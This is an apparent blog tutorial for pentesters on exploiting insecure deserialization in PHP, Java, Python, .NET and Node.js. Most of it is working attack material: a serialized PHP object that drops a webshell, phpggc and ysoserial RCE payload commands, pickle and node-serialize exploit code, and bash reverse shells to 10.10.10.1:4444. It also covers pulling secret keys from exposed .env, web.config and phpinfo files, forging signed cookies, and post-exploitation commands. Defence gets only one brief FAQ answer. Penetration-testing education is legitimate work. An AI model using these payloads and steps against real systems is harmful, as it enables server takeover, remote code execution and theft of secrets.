Deserialization Attack: What It Is, How to Find It, and How It Leads to RCE

Deserialization attack explained from the beginning: what serialization is, why it's dangerous, and how to exploit it in PHP, Java, Python, and .NET with ysoserial and phpggc. A step-by-step guide for beginners and pentesters.
- Posted on 2026-07-01
- Reading time: 12 min
Deserialization Attack: Exploit, Bypass and RCE Step by Step #
Insecure deserialization is one of the most dangerous vulnerabilities on the web. When exploited, it almost always leads to Remote Code Execution : the attacker executes commands on the server as if they had direct access to the machine.
Before understanding the attack, you need to understand the mechanism being abused. Let's start from the beginning.
What is Serialization (Simply Explained) #
A program works with objects in memory. Think of an object Utente with its properties: name, email, role, preferences. As long as the program runs, that object exists in RAM. But if you want to save it to disk, send it over the network, or store it in a cookie—RAM isn't enough. You need to convert it into something portable: a string or a sequence of bytes.
This conversion is called serialization . The reverse process—reconstructing the object from those bytes—is called deserialization.
┌─────────────────────────┐ ┌─────────────────────────┐
│ Oggetto in memoria │ │ Stringa / byte │
│ Utente { │──────────▶│ O:6:"Utente":2:{ │
│ nome: "Mario" │ serialize │ s:4:"nome";s:5:"Mario"│
│ admin: false │ │ s:5:"admin";b:0; │
│ } │ │ } │
└─────────────────────────┘ └─────────────────────────┘
│
│ viaggio in rete / cookie
▼
┌─────────────────────────┐ ┌─────────────────────────┐
│ Oggetto ricostruito │◀──────────│ Stringa / byte │
│ Utente { │deserialize│ (ricezione) │
│ nome: "Mario" │ └─────────────────────────┘
│ admin: false │
│ } │
└─────────────────────────┘So far, so good. The problem arises when the server receives serialized data from the user and deserializes it without checking to make sure it hasn't been tampered with.
Why Deserialization Is Dangerous #
When you deserialize an object, you're not just reading data. The runtime executes code: it calls constructors, initializers, and cleanup methods. All of this happens automatically, before the application even uses the object.
If the attacker controls the serialized data, they control what happens during that process. They can construct a custom object to cause the server to execute a command of their choosing—while the server thinks it's just "rereading" data.
Imagine receiving a package in the mail. You think about opening a box. But the package is a trap: as soon as you open it, a hidden mechanism is activated. The server "opens the package" (deserializes it), and the mechanism starts: whoami, cat /etc/passwd, or a reverse shell.
PHP: The Most Common Case on the Web #
PHP has a function called unserialize() which reconstructs objects from a string. Many applications use it to save sessions, user preferences, and cache data in cookies.
What a Serialized PHP Object Looks Like #
O:4:"User":2:{s:8:"username";s:5:"mario";s:7:"isAdmin";b:0;}Read it like this, piece by piece:
O → tipo: Object (oggetto)
:4: → il nome della classe ha 4 caratteri
"User" → nome della classe: User
:2: → l'oggetto ha 2 proprietà
{
s:8:"username" → proprietà: stringa di 8 caratteri, nome "username"
s:5:"mario" → valore: stringa di 5 caratteri, "mario"
s:7:"isAdmin" → proprietà: stringa di 7 caratteri, nome "isAdmin"
b:0 → valore: boolean false (0)
}It's readable text. You can edit it manually. If you change b:0 in b:1 and the server uses that property to decide if you're an administrator — you just gained admin privileges by changing a character in the cookie.
But this is just the beginning. The most dangerous thing is the magic methods.
Magic Methods: The Mechanism That Gets Abused #
In PHP there are “special” methods that the language calls automatically at certain times — you never call them directly in your code, PHP calls them for you:
__wakeup() → chiamato da PHP appena dopo unserialize()
__destruct() → chiamato da PHP quando l'oggetto viene eliminato (fine script)
__toString() → chiamato da PHP se l'oggetto viene usato come stringa
__call() → chiamato da PHP su metodi che non esistonoThe problem: If one of these methods does something dangerous using the object's properties, and you control those properties via the payload — that's it.
Step-by-Step Example: From Cookie to Webshell #
Let's imagine that the server has this class:
class Logger {
public $logfile = "/var/log/app.log"; // dove scrivere
public $data = ""; // cosa scrivere
public function __destruct() {
// PHP chiama questo metodo automaticamente quando lo script finisce
// Scrive $data nel file $logfile
file_put_contents($this->logfile, $this->data);
}
}And the server does this with the cookie:
$obj = unserialize($_COOKIE['prefs']);
// Prende il cookie, lo deserializza, e usa l'oggetto
The developer thought he was saving harmless preferences. But here's what the attacker does:
Step 1 — Build a malicious Logger object:
<?php
class Logger {
public $logfile = "/var/www/html/shell.php"; // path della webshell
public $data = "<?php system(\$_GET['cmd']); ?>"; // contenuto della webshell
}
// Serializza questo oggetto malevolo
$payload = serialize(new Logger());
echo urlencode($payload); // URL-encoda per il cookie
Output (the string that will be put into the cookie):
O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A7%3A%22logfile%22%3Bs%3A26%3A...Step 2 — Put the payload in the cookie and send the request:
curl -s "https://target.com/" \
-H "Cookie: prefs=O%3A6%3A%22Logger%22%3A2%3A%7B..."Step 3 — What happens on the server:
- The server receives the cookie and calls
unserialize() - PHP rebuilds the object
Loggerwith the attacker's values - The script ends → PHP automatically calls
__destruct() __destruct()performsfile_put_contents("/var/www/html/shell.php", "<?php system($_GET['cmd']); ?>")- The webshell is written to disk
Step 4 — Attacker has RCE:
curl "https://target.com/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "https://target.com/shell.php?cmd=cat+/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# ...How to Recognize Serialized PHP Data in Traffic #
Use Burp Suite with the proxy enabled and look for these patterns in your cookies and parameters:
O: → oggetto
a: → array
s: → stringa
b: → boolean
i: → integer
N; → nullIf the data is in base64 (cookies are often encoded), decode it:
# Decodifica un cookie base64 e controlla se contiene serializzazione PHP
echo "TzozOiJGb28iOjE6e3M6MzoiYmFyIjtzOjM6ImJheiI7fQ==" | base64 -d
# Output: O:3:"Foo":1:{s:3:"bar";s:3:"baz";}
# → Confermato: è un oggetto PHP serializzatoHow to Identify the Target PHP Framework #
You don't always know which framework your application uses. This is important because the tool you'll be using (PHPGGC) has framework-specific gadget chains. Here's how to find out:
From the error page — send a malformed request and read the stack trace:
curl "https://target.com/pagina-che-non-esiste-12345"
# Se vedi: "Symfony\Component\HttpKernel..." → Symfony
# Se vedi: "Illuminate\Foundation..." → Laravel
# Se vedi: "Zend_Controller..." → Zend/LaminasFrom the session cookie:
curl -sI "https://target.com/" | grep -i "set-cookie"
# laravel_session=... → Laravel
# PHPSESSID=... → PHP generico (guarda la struttura)From exposed files:
# composer.json mostra tutte le dipendenze del progetto
curl "https://target.com/composer.json"
# {"require": {"laravel/framework": "^10.0"...}} → Laravel
# .env mostra variabili d'ambiente (incluse chiavi segrete!)
curl "https://target.com/.env"
# APP_NAME=Laravel → Laravel
# APP_SECRET=... → Symfony
# phpinfo mostra tutto
curl "https://target.com/phpinfo.php"
curl "https://target.com/info.php"PHPGGC: Generate the Payload Without Building the Chain by Hand #
Once you've identified the framework, you use PHPGGC to generate the payload. PHPGGC already knows the gadget chains of the most popular frameworks and builds them for you.
# Installazione
git clone https://github.com/ambionics/phpggc
cd phpggc
# Guarda tutte le gadget chain disponibili
./phpggc -l
# Symfony/RCE1
# Symfony/RCE4
# Symfony/RCE7
# Laravel/RCE1
# Laravel/RCE2
# WordPress/RCE1
# ... e molte altre
# Genera il payload per Symfony (output in base64, pronto per il cookie)
./phpggc Symfony/RCE7 system 'id' -b
# Output: eyJzeW1mb255... (base64)
# PRIMA di usare RCE, conferma con un callback HTTP/DNS innocuo
# Burp Collaborator ti dà un dominio unico, usa quello
./phpggc Symfony/RCE7 system 'curl http://tuo-collaborator.burpcollaborator.net' -b
# Se Collaborator riceve la request → deserializzazione confermata → ora scala a RCE
# Reverse shell
./phpggc Symfony/RCE7 system \
'bash -c "bash -i >& /dev/tcp/10.10.10.1/4444 0>&1"' -b
# Quale chain usare? Prova in ordine: RCE1, RCE4, RCE7, RCE8
# Non tutte funzionano — dipende dalla versione del frameworkIf the Cookie Is Signed: You Need the Secret Key #
Many applications sign cookies to prevent tampering. The payload only works if the signature is valid. To create a valid signature, you need the secret key.
Where to look for it:
# 1. /phpinfo.php o /info.php → mostra SECRET_KEY come variabile d'ambiente
curl "https://target.com/phpinfo.php" | grep -i "secret\|key\|app_"
# 2. /.env → spesso esposto per errore di configurazione
curl "https://target.com/.env"
# APP_KEY=base64:abc123... → chiave Laravel
# APP_SECRET=xyz789... → chiave Symfony
# 3. File di backup dell'editor di testo (aggiunge ~ al nome del file)
curl "https://target.com/.env~"
curl "https://target.com/config/parameters.yml~"
# 4. /web.config (ASP.NET) o /config.php esposto
curl "https://target.com/config.php"Once you find the key, you sign the payload:
# Esempio per Symfony (firma HMAC-SHA256)
php -r "
\$payload = base64_decode('PAYLOAD_DA_PHPGGC');
\$secret = 'chiave_trovata_nel_env';
\$cookie = base64_encode(\$payload) . '.' . hash_hmac('sha256', \$payload, \$secret);
echo \$cookie . PHP_EOL;
"
# Metti il risultato nel cookie e manda la requestJava: The Most Serious Case in History #
Java serializes objects in binary format. This vulnerability has caused the most serious breaches in recent years:
- WebLogic CVE-2015-4852 — RCE without authentication on port 7001
- Jenkins CVE-2016-0792 — RCE pre-auth via endpoint
/cli - Apache Struts CVE-2017-9805 — used in the Equifax breach (143 million records exposed)
How to Recognize Serialized Java Objects #
Serialized Java objects always start with the same bytes:
In binario (hex): AC ED 00 05
In base64: rO0AB...If you see in a cookie rO0AB — you are looking at a serialized Java object.
# Cerca "rO0AB" nei cookie e nei parametri
curl -sI "https://target.com/" | grep -i cookie
# session=rO0ABXNyAA... → oggetto Java serializzato nel cookie!
# Verifica i magic byte
echo "rO0ABXNy..." | base64 -d | xxd | head -2
# 0000: aced 0005 → confermatoGadget Chain Java: The Concept Explained Simply #
In Java, you can't execute a command directly with deserialization like in PHP. You need a gadget chain —a chain of classes.
Think of it this way: the server has libraries installed (Apache Commons Collections, Spring, Hibernate). These libraries contain classes with methods that, under normal conditions, do useful things. But if you chain them together in a certain order during deserialization, you can end up calling Runtime.exec() — the Java method that executes system commands.
Each link in the chain is a class already present in the server (a "gadget"). You build the chain in the correct order, serialize it, and send it to the server. When the server deserializes, the chain activates and finally executes your command.
Oggetto ricevuto dal server
│
▼
Classe A → chiama metodo di Classe B
│
▼
Classe B → chiama metodo di Classe C
│
▼
Classe C → chiama Runtime.exec("id")
│
▼
RCE ✓You don't build the chain by hand — you use ysoserial.
ysoserial: Generate Java Payload #
# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Guarda tutte le gadget chain disponibili
java -jar ysoserial-all.jar 2>&1 | grep "^[A-Z]"
# CommonsCollections1, CommonsCollections2, ..., CommonsCollections7
# Spring1, Spring2, Groovy1, Hibernate1...
# PRIMO PASSO: usa URLDNS per confermare la vulnerabilità
# URLDNS non esegue comandi — fa solo una richiesta DNS
# Non ha dipendenze: funziona su qualsiasi server Java, qualunque versione
# È il modo più sicuro e affidabile per confermare la vuln prima di escalare
java -jar ysoserial-all.jar URLDNS "http://abc123.burpcollaborator.net" > payload_dns.ser
# Manda il payload al server
curl -s "https://target.com/endpoint" \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload_dns.ser
# Se Burp Collaborator riceve una richiesta DNS da abc123.burpcollaborator.net
# → il server ha deserializzato il tuo oggetto → vulnerabilità confermata
# Ora scala a RCE — prova le chain in ordine (CC6 è la più universale)
java -jar ysoserial-all.jar CommonsCollections6 'id' > payload_cc6.ser
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload_cc1.ser
java -jar ysoserial-all.jar Spring1 'id' > payload_spring1.ser
# Conferma con callback HTTP prima di reverse shell
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://abc123.burpcollaborator.net/rce-confirmed' > payload_http.ser
# Reverse shell (in ascolto: nc -lvnp 4444)
java -jar ysoserial-all.jar CommonsCollections6 \
'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' > shell.serHow to Find Out Which Libraries Are on Your Server (GadgetProbe) #
The problem: You don't know which gadget chain is running unless you know which libraries are installed. GadgetProbe solves this.
GadgetProbe sends selective URLDNS payloads: each payload says “if the X library is present, make a DNS query to X.collaborator.com.” From the DNS results, you can determine the exact classpath of the server.
# GadgetProbe - https://github.com/BishopFox/GadgetProbe
# Genera un payload per ogni libreria da testare
# Guardi quali query DNS arrivano su Burp Collaborator
# → Sai esattamente quali gadget chain puoi usareWhere to Look for Serialized Java Objects #
# Cookie
curl -sI "https://target.com/" | grep -i set-cookie | grep "rO0AB"
# Parametri POST (es. endpoint SOAP, RMI, API interne)
# Intercetta con Burp, cerca blob che iniziano con rO0AB o AC ED in hex
# ViewState JSF (JavaServer Faces)
# Cerca <input type="hidden" name="javax.faces.ViewState" value="...">
# Se il valore inizia con rO0AB → serializzazione Java nel ViewState
# Porta 1099 (RMI) e porta 7001 (WebLogic) → spesso espongono endpoint
# di deserializzazione direttamente sulla retePython: pickle #
pickle It's Python's serialization module. The documentation itself explicitly states that it shouldn't be used with untrusted data. Yet it's used in Flask sessions, Celery task queues, and Redis caches of Python applications.
Why Pickle Is Dangerous #
When Python pickles a pickled object, it also saves instructions on how to reconstruct it. These instructions are executed during deserialization.
The method __reduce__() of an object tells pickle what to do. Returns a tuple: (funzione_da_chiamare, argomenti)Pickle calls that function with those arguments during deserialization.
If you write an object whose __reduce__() returns (os.system, ('id',)) — pickle calls os.system('id') when deserializing your object.
Payload Step by Step #
import pickle
import os
import base64
# Crei una classe con __reduce__ che dice a pickle:
# "quando deserializzi questo oggetto, chiama os.system('id')"
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
# ↑ (funzione, (argomento,))
# pickle chiamerà: os.system('id')
# Serializza l'oggetto malevolo in byte
payload_bytes = pickle.dumps(Exploit())
# Codifica in base64 per inserirlo nel cookie o nel parametro
payload_b64 = base64.b64encode(payload_bytes).decode()
print(payload_b64)
# → Questo è il tuo payload, lo metti nel cookie/parametroWhen the server runs pickle.loads(payload_che_hai_mandato) → os.system('id') he is called.
Payload with reverse shell:
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'"
return (os.system, (cmd,))
print(base64.b64encode(pickle.dumps(Exploit())).decode())How to Recognize Pickle Data #
# In base64, Python pickle inizia con:
# gASV → protocollo 4 (Python 3.8+)
# gAJ → protocollo 2
# KGRx → protocollo 0 (leggibile, meno comune)
# Decodifica e ispeziona i magic byte
echo "gASV..." | base64 -d | xxd | head -2
# 8004 → protocollo 4 pickle
# Flask session cookie (formato diverso, ma potrebbe usare pickle internamente)
pip install flask-unsign
flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6Im1hcmlvIn0..."
# Guarda se usa PickleSerializer invece di JSONSerializer.NET: BinaryFormatter and ViewState #
Common in legacy ASP.NET applications. The primary vector is often the ViewState —a hidden field in HTML forms that ASP.NET uses to maintain page state between requests.
<!-- Cerca nei form HTML di applicazioni ASP.NET -->
<input type="hidden" name="__VIEWSTATE" value="AAEC..." />If the ViewState does not have a MAC (HMAC signature), you can replace it with a malicious payload.
# ysoserial.net (versione .NET, gira su Windows)
# https://github.com/pwntester/ysoserial.net
# Payload per BinaryFormatter
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
# Payload per ViewState (senza MAC)
ysoserial.exe -f ViewState -g TextFormattingRunProperties -c "whoami" \
--path "/app/login.aspx" --apppath "/"
# Se il ViewState ha il MAC ma hai la machineKey (da web.config):
ysoserial.exe -f ViewState -g TextFormattingRunProperties -c "whoami" \
--decryptionalg="AES" --decryptionkey="CHIAVE" \
--validationalg="SHA1" --validationkey="ALTRA_CHIAVE"
# Cerca la machineKey in:
curl "https://target.com/web.config" # spesso esposto per errore
curl "https://target.com/web.config.bak" # backupNode.js: node-serialize #
Less widespread, but present in legacy Node.js applications.
// La libreria node-serialize è vulnerabile
// Se il valore serializzato contiene una funzione seguita da ()
// node-serialize la esegue durante la deserializzazione
// Il payload: una funzione con () alla fine (IIFE - esecuzione immediata)
var payload = '{"rce":"_$$ND_FUNC$$_function(){\
require(\'child_process\').exec(\'id\', function(e,s){console.log(s)});\
}()"}';
// ↑
// questi () fanno eseguire la funzione
var serialize = require('node-serialize');
serialize.unserialize(payload); // → esegue exec('id')
Complete Workflow: From Suspect to Shell #
This is the mental flow to follow during a pentest. Follow the steps in order—don't jump to RCE without first confirming the vulnerability.
Step 1 — Intercept traffic
Open Burp Suite, enable the proxy, and navigate the application: login, dashboard, file downloads, and settings changes. All traffic passes through Burp.
Step 2 — Search for serialized data
In Burp's Proxy History, filter cookies and request bodies. Look for these patterns:
rO0AB → Java
O: oppure a: → PHP
gASV → Python pickle
AAEAAAD → .NET BinaryFormatterStep 3 — Identify the language and framework
Read headers, error pages, and session cookies. Determine: is it PHP? Java? Python? And which framework/libraries does it use?
Step 4 — Confirm the vulnerability with a harmless callback
You don't go to RCE right away. First, you send a payload that only makes a DNS query to Burp Collaborator:
# Java (URLDNS — funziona sempre, zero dipendenze)
java -jar ysoserial-all.jar URLDNS "http://abc123.burpcollaborator.net" > dns.ser
# PHP (curl verso Collaborator)
./phpggc Symfony/RCE7 system 'curl http://abc123.burpcollaborator.net' -b
# Python (richiesta HTTP)
# Nell'oggetto Exploit: return (os.system, ('curl http://abc123.burpcollaborator.net',))If Collaborator receives the request → deserialization confirmed → you have proof of the vulnerability without doing any damage.
Step 5 — Scale to RCE
Now that you know it works, send the payload with the actual command:
# Conferma output
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://abc123.burpcollaborator.net/$(whoami)' > rce_confirm.ser
# Se Collaborator riceve /www-data → RCE confermata con utente
# Reverse shell
nc -lvnp 4444 # in ascolto sulla tua macchina
java -jar ysoserial-all.jar CommonsCollections6 \
'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' > shell.serStep 6 — Post-exploitation
# Chi sei?
whoami && id
# Dove sei?
hostname && ip addr
# Cosa c'è di interessante?
ls /home && ls /var/www && cat /etc/passwdReference Tool #
| tool | Target language | What does he do |
|---|---|---|
| phpggc | PHP | Generate gadget chains for Laravel, Symfony, WordPress, Yii… |
| ysoserial | Java | Generate gadget chains for Commons Collections, Spring, Groovy… |
| ysoserial.net | . NET | Generate payloads for BinaryFormatter, ViewState, LosFormatter |
| GadgetProbe | Java | Find out which libraries are in the server's classpath via DNS |
| gadgetinspector | Java | Static classpath analysis to find custom chains |
| flask-unsign | Python/Flask | Decode and forge signed Flask cookies |
| Burp BApp: Java Deserialization Scanner | Java | Automatic testing of gadget chains via Burp |
Checklist #
FASE 1 — IDENTIFICAZIONE
☐ Cookie: rO0AB (Java) / O: a: (PHP) / gASV (Python pickle) / AAEAAAD (.NET)?
☐ Content-Type: application/x-java-serialized-object?
☐ ViewState nei form HTML (ASP.NET)?
☐ Parametri POST con blob binari o base64 anomali?
☐ Error page / stack trace rivela unserialize(), ObjectInputStream, pickle?
FASE 2 — FINGERPRINTING
☐ PHP: composer.json, .env, cookie di sessione, error page con stack trace
→ Quale framework? (Laravel, Symfony, Yii, WordPress, Magento)
☐ Java: porta 7001 (WebLogic), WEB-INF/web.xml, MANIFEST.MF, stack trace
→ Quali librerie? (Commons Collections, Spring, Hibernate, Groovy)
☐ Python: requirements.txt esposto, traceback nel response, cookie Flask
☐ .NET: web.config esposto, __VIEWSTATE nel form, X-Powered-By: ASP.NET
FASE 3 — CERCA CHIAVI SEGRETE (se i dati sono firmati)
☐ /phpinfo.php → variabili d'ambiente
☐ /.env → APP_KEY, APP_SECRET, SECRET_KEY
☐ /web.config → machineKey
☐ File di backup (aggiungi ~ al nome: /.env~, /config.php~)
FASE 4 — CONFERMA OOB (prima di RCE)
☐ Java: ysoserial URLDNS → Collaborator riceve DNS? → vuln confermata
☐ PHP: phpggc + curl → Collaborator riceve HTTP? → vuln confermata
☐ Python: os.system('curl collaborator') → ricevuto? → vuln confermata
FASE 5 — EXPLOITATION
☐ Gadget chain giusta identificata (prova in ordine se hai più opzioni)
☐ Payload RCE (id / whoami) → output confermato
☐ Reverse shell → connessione ricevuta su nc -lvnp 4444
FASE 6 — DOCUMENTAZIONE
☐ Screenshot payload → risposta server (o callback Collaborator)
☐ Screenshot output comando (id, whoami)
☐ Screenshot reverse shell
☐ Endpoint vulnerabile, parametro/cookie coinvolto, linguaggio/frameworkFAQ #
I don't know where to start. What should I look at first?
Open Burp, navigate the application normally, and then view the Proxy History. Filter cookies and POST request bodies. Search rO0AB for Java, or strings that decoded in base64 start with O: for PHP. If you don't find anything on the surface, look at the error pages — they often reveal the framework and sometimes even the presence of deserialization.
How do I choose which Java gadget chain to use? Always use URLDNS first to confirm deserialization—it has no dependencies and works on any Java application. Then use GadgetProbe to discover the libraries in the classpath. If you don't have GadgetProbe, try CommonsCollections6, CC1, CC3, Spring1, Groovy1 in this order.
The PHP payload doesn't work with phpggc either. Why? Three main causes: (1) the cookie is signed and you don't have the key, (2) the framework is updated and that gadget chain no longer exists, (3) you're using the wrong chain for that framework. Try the chains in order (RCE1 → RCE7 → RCE8) and look for the key in .env or phpinfo.
How do I prevent this vulnerability? The real solution is to never deserialize data coming from the user. Use JSON instead of native serialization. If you must deserialize, implement a whitelist of acceptable classes and never trust input before validating it.
How severe is it in a report?
If it leads to RCE: Critical, always. If it only leads to privilege escalation without RCE: High. Always document with the payload used, the endpoint, and the command executed as evidence (id, whoami).
Resources #
- PortSwigger Web Security Academy — Insecure Deserialization — the most comprehensive resource with free hands-on labs
- ysoserial — Java gadget chain
- PHPGGC — PHP Gadget Chain
- GadgetProbe — Enumerates the Java classpath via DNS
- ysoserial.net — .NET payload
A base64 blob in the cookie, Apache Commons Collections in the classpath, an endpoint that deserializes: three ingredients for a shell.








